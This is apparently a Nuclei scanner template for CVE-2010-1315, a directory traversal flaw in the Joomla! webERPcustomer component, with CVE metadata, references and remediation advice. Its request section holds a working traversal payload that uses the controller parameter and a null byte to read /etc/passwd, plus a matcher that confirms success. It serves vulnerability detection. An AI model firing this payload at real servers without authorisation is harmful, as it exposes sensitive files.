id: CVE-2010-1315

info:
  name: Joomla! Component webERPcustomer - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11999
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1315
    - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57482
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1315
    cwe-id: CWE-22
    epss-score: 0.04686
    epss-percentile: 0.89475
    cpe: cpe:2.3:a:joomlamo:com_weberpcustomer:1.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_weberpcustomer
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206ec2ea084ea79b38ead9ac16580c984f415d60c61f2afd03cf7a97f0cede373502203392e9851c82a01c50743cd31d6419038ff243de4d770c3f898b7986e40f9d33:922c64590222798bb761d5b6d8e72950